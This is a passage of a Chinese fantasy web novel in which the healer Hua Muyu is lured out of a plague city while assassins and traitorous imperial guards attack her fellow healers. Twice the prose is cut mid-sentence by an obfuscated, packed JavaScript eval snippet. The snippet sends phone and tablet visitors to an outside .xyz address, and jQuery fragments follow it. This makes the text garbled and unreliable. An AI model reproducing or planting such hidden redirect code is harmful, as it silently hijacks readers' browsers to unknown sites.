丹砂的话宛若一道炸雷响在花沐雨脑海里,瞬间点明了整件事的不对劲之处。对啊,既然俘虏被押走候审,为什么茜君还在这里? 花沐雨挑着饭粒,将这两天的事反复思索,而后道:“我们不能再只听肖元影一人的说辞了。他若要扯谎,总能找出合情合理的理由来。他们是否真的收到金师的御令将俘虏押解,我们一问便知。” “问谁?”丹砂不解。 “你们谷中不是可以联系到姜国皇室吗。”花沐雨道。 “你是说传信回谷中,让谷中直接问向金师?”丹砂精神一振,“这确实是最好的办法,我这就去和师叔说。” “且慢。”花沐雨把丹砂拦下,“先生对肖元影和禁军的观感极佳,直接道破恐怕他不信,又恐怕走漏风声打草惊蛇。况且,若是你去,川连先生未免觉得是你对肖统领素有不满、又在任性。你且坐下,此事由我去和川连先生说吧。” 丹砂也不勉强,依言坐下:“也好。” “茜君那边,晚间我再去一次大营。”花沐雨道,“去除衣服检查黑斑多有不便,你可有什么方法,可以不见黑斑也能断定病情?” “你不如直接把人偷回来。”丹砂干脆道,“左右都要往谷中去信了,若是事情确如肖元影所说,他是好人,我们道个歉,把茜君再还回去就是;若是肖元影撒谎,也省得留个人质在他手上,叫我们日夜挂念。” 花沐雨失笑,这简单粗暴的法子确实是神来之笔,不由得赞一句“漂亮”,举起饭碗,和丹砂碰了一下“杯”。 放下碗,丹砂不满地嘀咕着:“我早就跟你们说过了,不能把茜君留给肖元影,你们都不听我,还骂我不懂事。” 对于她的埋怨,花沐雨也不好说什么,只道:“你得给我点迷药。” 丹砂也擅药理,但日常更爱用针,《逢春诀》里诸般医术,《灵枢针法》才是她最拿手的。此刻花沐雨问起,她身上一时还真找不出成品的药剂。不过这不是难事,丹砂道:“我没那东西,我跟白芷要一些,她配的药向来很好,入夜之前给你。” “白芷?”花沐雨回忆了一下,似乎就是遇袭那夜那个一边哭一边往车外抖药粉的姑娘。 商量停当,花沐雨和丹砂一出厨房,就见石竹和吴谦有说有笑地从后院走出来。 丹砂别过眼去,花沐雨抱拳同他们打招呼:“吴统领,石竹先生。” 石竹和吴谦双双回礼,双方错身而过。 走远后,丹砂嘟囔道:“他们什么时候这么熟了。” 今早出城面诊,城中人手不够,未当值的弟子也出去街坊巡视了,后院空空荡荡,一个人都没有。午后静谧,前院走动的人也不太多。 丹砂去找白芷,花沐雨在川断先生住的厢房里找到了川连。 “川连先生。”花沐雨掀开帘子走进屋里。 川连放下手中的书:“小师叔。” 花沐雨笑道:“川连先生折煞我了。我来是有事和先生商量。” 花沐雨很少有事找他,川连不禁新奇,移开满桌的书册,给花沐雨腾出位置:“快请坐……小师叔所为何事?” 花沐雨在川连对面坐下,余光打量屋里屋外没有闲杂人,便开口道:“今日我与弟子出城,和肖统领闲聊时,听他说姜国皇帝很重视扈陵城外匪患之事,已命他将俘虏押解出扈陵了。” “啊……”川连眯起眼睛,“这种时候,竟然将俘虏押解出城了。” 花沐雨嗯了一声:“当时我没多问,但回来之后细想,那些俘虏毕竟是从疫区出去的,不怕一万就怕万一,若将扈陵的瘟疫带去姜国各地,我们现在又没有能根治的法子,岂不是酿成大祸。” 川连也意识到问题的严重性:“怎么会就这样把疫区的人放了出去呢,也没跟我们说一声。即便匪患事态严重,贸然放人出去也是大为不妥啊。”转过神来,川连又问,“小师叔可是想让我劝阻他们押解俘虏出城?” 花沐雨宽慰他道:“人间朝堂上的事,我们出世之人,到底不该过多插手。先生日前不是制出了避疾方,倒是可以传信回谷中,让谷中问问姜国皇帝俘虏现在可到了金师,是否要用我们的避疾方。” 川连不由得点头。 他此前以为花沐雨是想让他劝谏俘虏出城一事,心中还有些犹豫。正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294799|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如花沐雨所说,既然是姜国皇帝的御令,他们这些修士即便超然,也不便多管。更何况俘虏已经押走,现在他出言也为时已晚。 花沐雨难得开口,他正兀自为难,想若是花沐雨真是这个意思,他该怎么妥帖地传达。所幸花沐雨并非此意,叫他大感轻松。 “您说的正是。”川连道,“师叔放心,我这便回房传信。” “我与您同去吧。”花沐雨担心横生枝节,和他一同起身。 后院,吴谦正抱臂站在门外。 从石竹处探听到午后后院无人,吴谦便偷偷安排手下人进入弟子房中搜查鹤纸的放置处。怕有人中间回来,吴谦特意在此,假做偷闲,实为望风。 离得老远,他便看到了川连和花沐雨,忙扬声笑道:“川连先生,你不是在川断仙师处,怎么回来了?” 院内,正趁无人在弟子房间中翻找的几名禁军听到声音,飞快地将东西归还原位,闪身掩门,往后门溜去。 怎么会如此不巧?花沐雨不动声色,又庆幸自己和川连一同回来了,先替川连回答道:“我们回来拿点东西,统领怎在此处?” “姑娘可莫叫人知道。”吴谦打趣道,“趁事少,卑职来此地躲懒罢了。” 他有心为撤走的禁军拖延时间,于是迎上来拉他们驻足攀谈道:“针对城中的瘟疫,仙师可有什么新的进展?” 川连摇手:“这个讲不了。我现在跟你讲这些都还太不成形了。” “还是要仰赖仙师。”吴谦陪笑道。 将川连和花沐雨送回后院,潜入弟子房间的禁军已经都不见踪影。花沐雨和川连回到房内,吴谦客气了两句便告辞离开。走出两步,他留了个心眼,放慢了步伐,想看看他们背后都在干什么。 屋内,川连推敲措辞,将信写好。纸鹤点亮荧光,隔着半透的窗户纸一闪而逝。 川连叹道:“只盼信件能及时送到,不要让疫区出去的贼人将瘟疫带出去。” “之前往谷中传信,大概何时可以收到回复?”花沐雨问。 “按照往日,一般晚上就可收到回信了。”川连答道。 只隐隐约约看到了传信的灵光,吴谦若有所思地出了后院,暗中搜查弟子房间的几名手下纷纷赶来与他汇合。 “都找到了。”手下高兴地说,“算上前面几日,这些人的鹤纸放在何处,我们都已经摸排清楚。” “好。”吴谦应了一句,又道,“传信给老大。就说他们最近传信回凌虚界愈发频繁。另外,我们已经找全了鹤纸,请他示下。” “是。”手下领命离去。 这一下午格外宁静,连情况危重的病人都未发作。时间一晃,太阳西斜,难得清闲的弟子们围坐在前厅中,远看灿烂的晚霞。 “凌虚界从没有这样好看的天空。”石耳喃喃。 南星也感叹:“凌虚界受天帝圣光,虽有日夜,但并没有日月运行,自然不会有这样的瑰丽。” “若是有时间,我们走遍人间的大山大河,那景色想必十分壮丽。”石耳道。 “我听说人间还有大海和沙漠。”水萍探过头来,“我还没见过大海和沙漠呢。” “相比人间,凌虚界还是局促了些。”南星道。 “我记得凌虚界是仿造的人间一隅?”白英也加入进来,“好像是为了更加贴近天道,千百年前诸位大能仿造人间的景色,创建了凌虚界,专供修士居住。而后我们在凌虚界中与世隔绝、潜心修道、繁衍生息,直到几百年前开界门,我们才能下界。” “确实是如此。”南星道,“且看凌虚界的灵气之充裕,人间虽美,但若是我们不离开人间,恐怕于修道一途难有进益。” 正说着,堂前吴谦急步走来,抱拳向他们问道:“诸位可有见到那位戴帏帽的姑娘?” “她和师叔还有丹砂他们在西厢房呢。”南星答道。 “多谢南星姑娘。”吴谦得到答复,就往厢房去了。 又看了几眼离开的吴谦,南星并未在意地收回视线,继续和石耳白英她们闲聊罢了。 20. 慈悲厌图穷匕见 传信回谷中后,川连便找来了丹砂,两人在西厢房聚首,一齐分离病气。左右无事,为等回信,花沐雨也守在了西厢房外。 正在发呆,匆匆赶来的吴谦看到了她,离得老远便喊道:“姑娘!姑娘!” 花沐雨抬眼,屋里的丹砂听到动静,也收拾了一下出来查看情况。 “可算找到你了。”吴谦上前道。 “找我么?”花沐雨不解其意,“发生什么事了?” 吴谦看了一眼丹砂,对花沐雨道:“城外传来消息,茜君闹着要见你,说有事要找你,还说事关重大,除了你,她对谁都不肯说。孩子已经哭了一下午了,谁哄都没用,饭也不肯吃,若不是统领保证将你找来,险些要背过气去。” 丹砂正愁没有机会看看茜君的状况,听他这样说正中下怀,忙道:“忽然哭闹,是不是身体不舒服?我跟你一起去。” 吴谦有些为难地左右看了看:“茜君只找她一人……按理说只要进了城谁都不能出去,这次确实是统领的私心,这才叫我偷偷带她出去。带她一个人出去已经是不合规矩了,若是被人知道,统领恐怕都有得麻烦,要是再多带一个人……” “一个人也是走,两个人也是走,我这么小一个,也不占什么地方,有什么不可以的?”丹砂反驳道。 “这……”吴谦犹豫了一下,“若是非要这样,也不是不行。两个人就是最多了,只是你要格外小心些,不要被茜君看见。” 丹砂看向花沐雨,花沐雨却并未如她所料那般肯定她的表现。 花沐雨微微蹙眉,又问了一遍:“茜君为什么忽然哭闹?” “不知道哇。”吴谦表现得同样疑惑,“城外传信来,就说那孩子谁问都不理,指名道姓只要那个戴帏帽的姨姨来。营中的兄弟哄了这么长时间都没办法,实在是不成了,这才来找姑娘您。” 吴谦这里问不出什么,花沐雨转而对丹砂说道:“如统领所说,已经进城的人私自出去确实是不合规矩。小孩子忽然闹脾气也是有的,我先去问一问,如果真有什么不妥的,再来找你们也来得及。” 丹砂不明白花沐雨的想法,又听她对吴谦说:“劳烦统领稍等,我去换套不常见的衣服,再跟统领一起前去。” “姑娘无需换衣服。”吴谦道,“我带你从角门走,避人耳目,并没什么人注意。” “难保不会遇到什么人,还是换一下吧,以免招人口舌。”花沐雨温声道。 吴谦怕她起疑,不敢多劝:“也行,城外确实催得急,我便在屋外等着姑娘,还请姑娘赶快。” 花沐雨于是叫丹砂:“丹砂,你陪我去换衣服吧。” 二人回到后院卧房,一关上门,丹砂便压低了声音问道:“你为什么不让我跟你一起去?” 花沐雨背抵着门,思索了片刻。茜君单独找她,是想要说什么?肖元影不怕她说出来什么不该说的吗,难道他心里真的一点鬼没有? 丹砂不知道她在发什么呆,又问了一遍:“你为什么不让我跟你一起出去?” 花沐雨思绪纷杂,难以整理为一两句话语。吴谦还在外面等着,时间所剩无几,她离开门边,问丹砂道:“迷药准备好了吗?” 丹砂从怀中掏出一个不小的药包:“喏,白芷那儿就剩这么点,全让我要来了,之前一直没机会给你。” “有这些也很好了。”花沐雨接过药包,又弯下腰,扶着丹砂的双臂,认真地说,“你先听我说。” 丹砂点点头。 花沐雨道:“一会儿我跟吴谦出去,如果真的是茜君有什么事情想跟我说,我就按照中午我们说的,想办法把茜君带回来,到时候说不定要动手,不便带你。”她顿了一顿,语气谨慎了一些,“如果是城外假借茜君之名引我出去,那情况可能复杂……你跟着我危险,所以我才不带你一起。” “你觉得可能有危险,为什么还要出去?”丹砂疑惑地问。 “茜君还在外面。”花沐雨道,“我要是不去,茜君怎么办?不管是真是假,他们说出来茜君,我便不得不去。” “茜君只是一个人,你去找她,我们永安堂内这么多人怎么办?”丹砂反问。 花沐雨一愣。她从没想过自己是在茜君和城中的小南国弟子之间做选择。 不过她也转瞬就明白了丹砂的意思。茜君需要她保护,城中的小南国弟子同样需要她保护。若她不去城外,茜君可能出事;若她去城外,小南国的弟子也失去了战力,若是有人来犯,同样危险。 丹砂这样一说,搅得她也不放心起来。但不管怎么想,都是茜君那边的情况更紧急一点……可是万一呢?如果真的是调虎离山,永安堂怎么办? 她直起腰,在屋中打量了几圈,见到南星床头的笸箩里晾着还未来得及收起来的柴胡粒,便抓了一把,在手中一握,再摊开手掌时,木色的颗粒已经变成了银色。 花沐雨将这些变成银色的小粒交给丹砂,心中有犹豫,但还是道:“我们都已经进城了,应该没人敢对你们动手。若有万一,你就将我给你的这些银粒砸到地上。这些银粒上有我《千军令》撒豆成兵的术法,落在地上就能变成兵将,可以保护你们的安全。” 丹砂找到之前给广丹做驱虫香包的时候剩下的一个空香囊,让花沐雨将银柴胡粒放进香囊里。 她也觉得不能对茜君置之不顾,但忍不住犯嘀咕:“要是他们故意将你引开,有心冲着永安堂来,就靠这些和我们一群医修可不一定能顶得住。茜君那边只是她一个,这边可是小南国好几十个弟子……” “怀疑来怀疑去没有尽头。若非要等到一个万全之法才肯行动,便什么事都做不成。”花沐雨道。 丹砂看着花沐雨愣住了。 此时花沐雨脸上好说话的笑容完全消失了:“这是我做的决定,一切后果我会解决、会承担。” 丹砂哑然片刻,很快开口:“不会让你一个人解决和承担的。我追随你的决定,就愿意和你分担风险。” 花沐雨一怔,有些不知所措似的,态度一下子软化下来,忍不住开解丹砂道:“你们已经进城了,重重禁军围着,贼人潜不进来。就算肖元影真与贼人合谋,永安堂中不止是你们,还有这么多平民百姓。众目睽睽,事后他们要怎么解释,难不成要将满城的人都杀尽吗?他们总不至于这样丧心病狂……或许是雪国发现了我的踪迹,这一遭只不过是冲着我来的,是我拖累了你们也不一定。” “谷中的回信还没到。”丹砂还是担心,“你非要这一时去吗?不如就找个借口,等谷中回信来了,我们再做打算。” “若非万不得已,他们也不会传信进来。”花沐雨道,“若他们没有恶意还好,若他们本就另有打算,恐怕是无论如何都要请我出去,除非撕破脸,否则推拒不得。况且我若不去,总叫人起疑,我也总担心他们对茜君不利。你先回去川连先生那边,盯着小南国的回信。马上就是晚饭时间,你和大家小心一些,等我回来。” 丹砂点头:“你想好就好,城中我们都在。” 见丹砂推门出来,远处的吴谦问道:“她可换好了?” “我刚帮她找到不起眼的衣服,她要换衣服,我便出来了。”丹砂面不改色,“且有一会儿呢,你再等等吧。” 花沐雨仍在房中举棋不定,磨蹭了一会儿,吴谦便来敲门了。 “姑娘,你可换好了?”吴谦道,“统领那边着急,这都好一会儿了,我怕孩子着急。” 天色渐暗,花沐雨拿定主意,系紧腰带,打开房门,对吴谦道:“我收拾好了,我们走吧。” 看着吴谦笑脸迎上来,花沐雨却不由自主地想退一步。傍晚的光线带来昏暗的天光,花沐雨心中突然漫起的胆怯,让朝她走来的人面容愈发扭曲难辨。 他的笑容真的不是别有深意吗? 吴谦带着花沐雨往西,走上了一条花沐雨此前从没走过的道路。 “这边也能出城吗?”花沐雨问道。 “这边有一个角门,平常走得人就少,如今情况特殊,更是没人什么来。”吴谦回答说。 此时前方只剩笔直的一条大道,两侧都是民房,路的尽头正是扈陵城墙,墙上有一门洞,门洞里是一扇半开的偏门。 吴谦说得没错,这一片街区荒无人烟、鸦雀无声,连路中央石砖的缝隙里都长出了脚背高的青草。花沐雨跟在吴谦身后,目光从两侧的民居 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“小心!”等候的禁军脸色大变,高声提醒。有两三个黑衣人同时朝他们那边袭去,二人一时自顾不暇。 花沐雨反应极快,察觉不对时,手中已化出长剑。但不等她动作,一击既中的黑衣人已团团围上。刀锋切碎天穹,花沐雨仰头一望,无形的气劲荡开,无数刀尖直指却不得寸进。 在这凝滞的片刻,花沐雨将剑插入网洞,试图将网破开。然而空间逼仄,花沐雨无法借力,那网又过于结实,她如今大不如前,一时竟无法割破。 刀尖被无形的气劲拦住,即便用尽全力也难以推进,黑衣人登时察觉不妙,立刻转换了思路,几个人按住大网的边缘,飞速向壕沟拖动。 城墙外这片临时清理出来的空地上满是埋得很深的石块和树根,花沐雨身上压着网,被拖着从这些上面狠狠擦过,后背一阵阵钻心地疼痛。 原本在等她的两个禁军已经不敌,被砍倒在地。花沐雨咬牙,空中射出数支银色的飞箭,仍是避开了要害,只让他们失去行动能力便罢了。 拖住大网的黑衣人纷纷中箭倒下,趁后面的黑衣人还没赶到,花沐雨化剑为枪,双手用力在地上一顶,将大网挑翻,整个人顺势翻身,在空中一连拍晕好几个赶来的黑衣人,而后向壕沟对岸的禁军大营赶去。 黑衣人对禁军毫不手下留情,难道之前她们的猜忌全是错的,一切只不过是真正黑衣人故布疑阵?城外传来的消息到底是真是假?这边打成这样,营地里的禁军为何毫无动静? 满心疑惑,对茜君的担忧始终排在第一。花沐雨飞身越过壕沟,不知触发了什么机关,覆土之下又是一张大网缠向她。 已经吃过一次亏,花沐雨断不会再吃第二次。足尖在网面一点,她一枪挑断拴住网兜四角的绳索。脚下不停,挥手间一排银箭落下,引起阵阵烟尘。 所幸前路再无埋伏,借着烟尘四起,花沐雨掩住身形,飞速来到营地。走近两步,便发现营地中倒着数具禁军的尸体,篝火营帐尚在,但早已人去楼空。营地中四处涌出黑衣人,花沐雨一边抵挡,一边将所有营帐翻了个遍,都没有见到一个人影。 花沐雨皱眉,正要去捉一个黑衣人来问,忽然心头一动——她留给丹砂的东西被触发了。 糟了。花沐雨心一凉,不敢恋战,一路闪转腾挪,立刻朝城墙折返而去。 不仅在禁军大营中,就连城墙上也埋伏了许多黑衣人。花沐雨一心求快,不待来到城墙下,便有几道银光化作长枪,铮铮钉入城墙。花沐雨踏着枪杆,三两步攀上墙头。 心知刀箭无用,守在城墙上的黑衣人将花沐雨团团围住,意图将她逼退。花沐雨丝毫不在城墙上停留,借枪尖点地之力,拧身翻过人群,自城墙上一跃而下。 她手中早早握住了一支射向她的弩箭,此时这枚弩箭已化为银色。城墙脚下铺满了尖锐的钉针,寻常人即便越过城墙,恐怕也要被这些顶针扎成刺猬。然而钉针近不得花沐雨的身,花沐雨将化为银色的弩箭掷出,弩箭落地,化为一匹雪白的高头大马。花沐雨身形在空中一转,借着与钉针的斥力,跃上马背,直朝永安堂赶去。 21. 强弩末一夫当关 半刻之前,永安堂内。 丹砂有些焦躁,分离病气时屡屡失败。屋里渐渐暗得看不清,川连也叹气,放下各色材料,点起了烛灯。 “天都快黑了,怎么谷中的回信还未到。”丹砂问。 烛光摇曳,川连扇灭火折子,宽慰丹砂道:“许是姜国那边回复得慢了些。” 丹砂心中莫名不安,川连看了看天色,说道:“你我一下午竭力分解,翻遍了《逢春诀》,也找不到那丝黑气的来路。事情是无可奈何了,丹砂,你跟我去后院,我想再给师祖写一封信。” “是。”丹砂应道。 二人回到后院,川连在桌前坐定,拂袖拉开抽屉,本来满满当当的鹤纸处却空空如也。 “欸?我那么多纸都去哪里了?”川连疑惑,又去翻堆在一旁的书。 “怎么了?”丹砂本来在窗边看着天色,闻言问道。 川连一边找一边道:“我的鹤纸。就放在这儿的,怎么不见了。” 丹砂不解,上前与川连一同翻找。二人将书桌前后翻了个遍,忽听前院传来惊叫。 丹砂心头一跳,拉住了川连的胳膊。正要分辩,屋外出现大批脚步声。 隔壁传来破门声,正在房中的白芷一声惊呼。不等丹砂和川连反应,紧接着就是他们这个房间。一个黑衣人将门踹开,提刀向桌前的川连与丹砂杀来。 “小心!”丹砂惊呼。 连带川连在内,小南国众弟子中,要属丹砂最擅灵枢针法。 作为《逢春诀》的子篇,灵枢针法中所用的针,可以是普通银针,也可以是以灵力化成的气针。若使用得当,这一套针法既可以救人,也可以杀人,威力非同小可。 然而所有小南国弟子都几乎没有任何对敌的经验,此时此刻,即便是丹砂也来不及运转心法。情急之下,丹砂抓过手边的茶壶,连壶带水一齐向黑衣人砸去。 趁黑衣人侧身躲过,丹砂拉着川连从另一侧向外冲。房间狭小,书桌旁边就是墙和床,此时不走,到时候无路可退,便是任人宰割。 黑衣人动作不慢,躲过茶壶,一刀又朝丹砂砍来。 川连回过神,抄起门边的脸盆架拦了上来。木制的脸盆架卡住了黑衣人的刀,黑衣人将它一脚踢开,便要挥刀斩向川连。 千钧一发之际,丹砂终于打开了香囊,来不及细想,丢出几粒柴胡,便拉着川连头也不回地往外跑。 黑衣人不知那是何物,抬手一挡。三粒银柴胡砸到黑衣人身上又弹到地上,没什么动静,黑衣人以为上当,放下手臂就要往外追。才迈出一步,银柴胡粒已经落地化形,迎风变为三个身着银甲白袍的持枪武士,不过一个照面,就将黑衣人拦在屋内。 然而他们要面对的杀局并未到此为止。 逃出房间的丹砂川连迎头撞上大批涌入的黑衣人,丹砂将川连护在身后,又掏出几粒银柴胡清脆地打在地上,十多个人黑衣人和白袍军战在一处。 趁他们混战,丹砂拉着川连便往前院去,大家大多都在那里。 川连拉了她一下:“白芷!”转身往隔壁房间跑去。 丹砂跟着川连,一进门,便见白芷捂着胸口侧倒在地上,桌上还放着研磨的药粉。 “白芷!”川连怒目圆睁,连忙赶上前去,和丹砂一起封住白芷的穴位。血勉强止住,白芷已经气息奄奄。 飞针解决了一名欺近的黑衣人,丹砂喊道:“我们得去前面!” 川连抱着白芷,和丹砂再次冲出门去。 门外,银柴胡粒化成的十来个白袍武士已经解决掉了那十几个黑衣人。丹砂和川连脚步飞快,白袍武士跟随他们左右,一路遇到不少黑衣人,丹砂又撒出去了五六粒银柴胡,化做白袍武士救下了在连廊处被围攻的卜芥和白薇。 石竹本在药房抓药,听到动静不对,还以为前院有人闹事,连忙把抽屉推回去,想要去看看情况。 一出门,就撞见拿着刀的吴谦,身后跟着一伙禁军。 “吴兄弟,前面发生了什么事?”石竹问道。 “我也不知道,正要带队去看。”吴谦道。 药房周围没有旁人,石竹转身想要和他们一起走:“那我们……”话没说完,他身后的吴谦就捂住了他的嘴,从背后一刀割断了石竹的脖子。 黑衣人从禁军的身侧鱼贯而去。吴谦松手,石竹瞪着不可置信的眼睛缓缓倒地。擦干刀上的血,吴谦举刀,振臂一呼:“姜国禁军在此,何方贼人造次!” 随着他的呼声,禁军加入战局。一出现,就迅速聚拢起慌乱四散的小南国弟子。 吴谦带着禁军假装与黑衣人打得有来有回,时不时露个破绽,将被护住的小南国弟子送到黑衣人刀下。他们都是练家子,四周兵荒马乱,一切做得滴水不露,仍有源源不断的弟子将他们当作救星。 黑衣人从各方外围涌入,将四散的弟子驱逐到中央的院子里围杀。 从前厅逃回来的南星、水萍,从后院赶来的丹砂和川连,以及侧方赶来的禁军等人并四散奔逃的弟子最后都汇集在一起。 水萍捂着手臂,南星双手和脸上全是血迹。院子四周的堂屋里住满了病人,有本在堂屋里看护病人的小南国弟子尚不明所以,出门来看,被正在一扇门一扇门找人的黑衣人迎面砍倒,屋里的病人和家属像小鸡仔似的挤作一团。 “广丹呢!”丹砂手里捏着银柴胡粒,一把拉过南星。 南星仓皇摇头,脸颊上的血珠滑落:“我不知道!” 很多弟子都分散在各个屋子里,慌乱中谁都不知道他们的下落。更多的黑衣人袭来,有围攻逃到此处的人的,有踹门搜人的,禁军还在那边跟人打得有来有回,只有白袍武士和几个弟子真正斩落了一些黑衣人。 丹砂一恨,将手里的银柴胡粒往空中甩去。银柴胡粒如天女散花,噼啪落地,瞬间化作无数白袍武士,持枪向黑衣人攻去。 “这是什么?”南星惊道。 “别走远,他们会保护你!”来不及多解释,丹砂飞快对南星说,“躲好,我先去找广丹!”说罢,一手攥着香囊,一手扶住挂在腰间的针包,向侧边的堂屋跑去。 广丹正在西边下手的堂屋里给患者喂药。 外面传来喊杀声,广丹不明所以地抬头,就见屋外院中一个黑衣人砍倒了浮萍。 浮萍……她瞪大眼睛,以为自己发出了惊叫,实际却是失声,只在心中发出了一声喃喃。 凌虚界升平日久,即便遇到过一次黑衣人,他们也被全程护在车内,一时间哪明白发生了什么? 目睹凶杀的家属发出杀猪般的尖叫,将愣神的广丹惊醒。她立刻关上窗户,急速镇静下来,指挥屋里还能活动的人一起推空床去抵门。 大家七手八脚地来帮忙,推到一半,便有黑衣人破门而入。 人群乱作一团,大家都慌不择路,一心只想跑得离门越远越好。广丹一把拽起一个被绊倒的家属,把他往后推。而自己这便落后一步,再抬眼时已经在人群的外缘。 一个男人腿软倒在地上,除去自己活命全都不顾了,一边连滚带爬地往后挤,一边将正在他身旁的广丹向后扒拉。广丹没防备,被他拽了一下,正朝黑衣人的刀刃迎去。 广丹惊呼一声,双手下意识攥住黑衣人的手。黑衣人的力气岂是广丹所能敌,刚一握上,广丹就觉支撑不住,手臂一扭,黑衣人的刀砍中被推出来的床板,广丹也被力道带得成了半背对着持刀人的姿势。 黑衣人一夺,广丹失去平衡向前扑倒。黑衣人举刀朝她的后心捅去,半路却觉胳膊忽然一酸,手上脱力,刀咣当一声掉在地上。 不等他反应,站在门口的丹砂又补了一下。寸长的钢针自黑衣人后脑没入,人还没软倒,丹砂便两步赶来,拽住他后背的衣服将他扯到一边。 黑衣人像一口袋面粉一样萎顿在地,丹砂拉起广丹,急声问道:“你有没有事?!” 广丹只知道摇头,双手已经木了。丹砂拖着她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294801|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿过战团往院里跑。 此时绝大多数小南国的弟子都汇聚到了院中,白袍武士和禁军在外抵挡着,但敌我人数过于悬殊,白色逐渐被黑色包围吞没。 丹砂一包银柴胡粒都撒出去了,包里的针也所剩无几。不到万不得已,她不想用灵力化针。银针和灵力都有耗尽的时候,如此坚持不了多久。 事发突然,几乎没人身上带了药。白芷等伤重的血流不止,已经不省人事,照这样下去,即便是修士也扛不住,川连和广丹正在紧急为他们止血。卜芥在白袍武士的保护下,顶着刀剑将川断从厢房里背了出来。南星努力运针御敌,但是心神不定,准头远远不够。 此时已顾不上许多了,川连压着弟子的伤口,高声问道:“花师叔什么时候回来!” “她被吴谦叫走了!”丹砂大喊。 在人群中与黑衣人缠斗的吴谦抽空回头:“是城外来信!” 他们说的这些川连岂会不知,当时他就在一边,此时只恨当初没有将她拦下。“快去通知城外!”川连急道。 吴谦也急声道:“他们人太多了,我们的人出不去!” 这种时候还在一同对敌,连一向相信自己感觉的丹砂都迷惑了。难不成,城里的这些禁军真的是无辜的? 白袍武士都被数倍与自身的黑衣人缠住,寡不敌众,有黑衣人突破了防线,飞身朝内圈的小南国弟子杀来。 丹砂撤步取针,未料这番剧烈活动让本该在那个针位的针掉了出去,她一手已经成了惯性的动作摸了个空。卜芥将她往后一扯,用断掉的椅子腿格住了黑衣人的刀,丹砂得空抽出第二枚针,飞速结果了他。又有一人从南星的侧面袭来,南星连嘴唇都在颤抖着,一连甩出去三枚银针,都射偏了。 正在危急关头,一阵银色流矢落入人群,南星面前的黑衣人身中银箭倒下。 南星一喜:“回来了!” 伴着清脆的马蹄声,前厅外,雪亮的白马直接跃入前院。伏在马背上的人抬起脸,正是从城外赶回来的花沐雨。 “花沐雨!”丹砂踢开倒在脚边的黑衣人,朝门口大声喊道。 四蹄未停的白马化作飘散的银光,送花沐雨飞身跃入人群。她长枪一扫,枪风所过之处黑衣人皆倒飞出去。手下枪尖吐蕊,扎刺挞抨、缠圈拦拿、扑点拨挑,花沐雨从几百人中冲出一条血路,来到丹砂身边。 “情况怎么样?”二人一齐问道。 “城外空了。”花沐雨抢先答道,又问,“你们人呢?” “先把这些解决掉!” 花沐雨横枪推开围上来的黑衣人,一边将他们拍晕,一边将失去意识的人踢出人群,以防脚步纷乱,他们被踩踏身亡。 他们人数太多,花沐雨眼角余光扫过,正瞧见了晾在木架上的几只竹筐。枪尖一挑,竹筐里的药材朝黑衣人兜头砸去。扬撒在空中的药材染上银色,落地时纷纷化为更多的白袍武士,朝黑衣人扑去。 正在与人喂招的吴谦见她回来,就知城外没能按计划将人拖住。又见识了她这一手之前从未展露过的撒豆成兵的手段,心中便明白他们还是将她低估了,不禁庆幸肖元影叫他们假做保护这些修士,如此才没有暴露,好做后手。 小南国众人看到花沐雨回来,都在欢欣鼓舞,却不知同时运转《千军令》和《万兵谱》对花沐雨如今没有灵力支撑的身体而言消耗巨大。 城外一场激战,紧接着从城外一路奔回,几番撒豆成兵,又坚持到现在,面上不显,实则面纱下的她唇色惨白,两侧太阳穴发紧,握枪的手臂也开始感觉脱力。 这份吃力小南国的弟子看不出来,却瞒不过习武的内行人。 一旁吴谦偷眼打量花沐雨的动作,见她运枪,十回里逐渐有那么一两回出势有余而收势不足,便知她开始撑不住了。吴谦对聚拢在四周的禁军使了个眼色。一伙儿人卖出破绽,纷纷佯装负伤不敌,且战且退,惹得花沐雨频繁来救,禁军则不动声色地混入后方小南国弟子中间。 22. 力尽奈何天 夜幕彻底落下,伴随着一声哨响,黑衣人纷纷后撤退出战圈,只隔了一段距离将人围住。花沐雨带着白袍军将小南国众人和受伤的禁军护住,警惕提防,不知他们又有何动作。 正在僵持中,贼人散开,一个黑衣人架着刀,将肖元影和茜君推了出来。几声门响,之前一直未被波及的就诊百姓也聚作一团,像赶鸭子一样被黑衣人拿着刀赶了出来。 为首的黑衣人拎起茜君:“看看我的手上的人是谁!” “茜君!”南星失声喊道。 川连一把拉住了几乎要冲出去的南星,紧紧盯着对面的黑衣人。 “认识就好!”为首的黑衣人高声道,“这里有孩子,还有平民。”控制着百姓的黑衣人立刻压下刀刃,逼得百姓哭声震天、连连求饶。 “立刻放弃抵抗,我还能留你们一条生路。否则大家鱼死网破,我先杀孩子和这些平民!” 银光在手中一转,铮的一声,花沐雨把枪立在身侧,枪纂深深扎进地面的石板里。 “你们到底要干什么?”花沐雨问。 黑衣人丢出一圈绳子:“放下武器,原地举起手来,跪下不准动!”又对边上一个瑟瑟发抖的平民道,“你过去,把他们都绑起来!” “我们放下武器,任你们绑住,然后呢?”花沐雨问道,“你们要怎么处置我们?” “只要你们不继续与我们作对,此间事了,我们自然会放你们离开。”为首的黑衣人道。 暗自打量了一圈挟持人质的黑衣人,花沐雨淡然开口:“哦?我们做了什么与你作对的事?” 黑衣人一滞:“你不必了解。” “我不必了解。”花沐雨重复了一遍,又问,“那,你说‘此间事了’,又怎么才算‘此间事了’?” 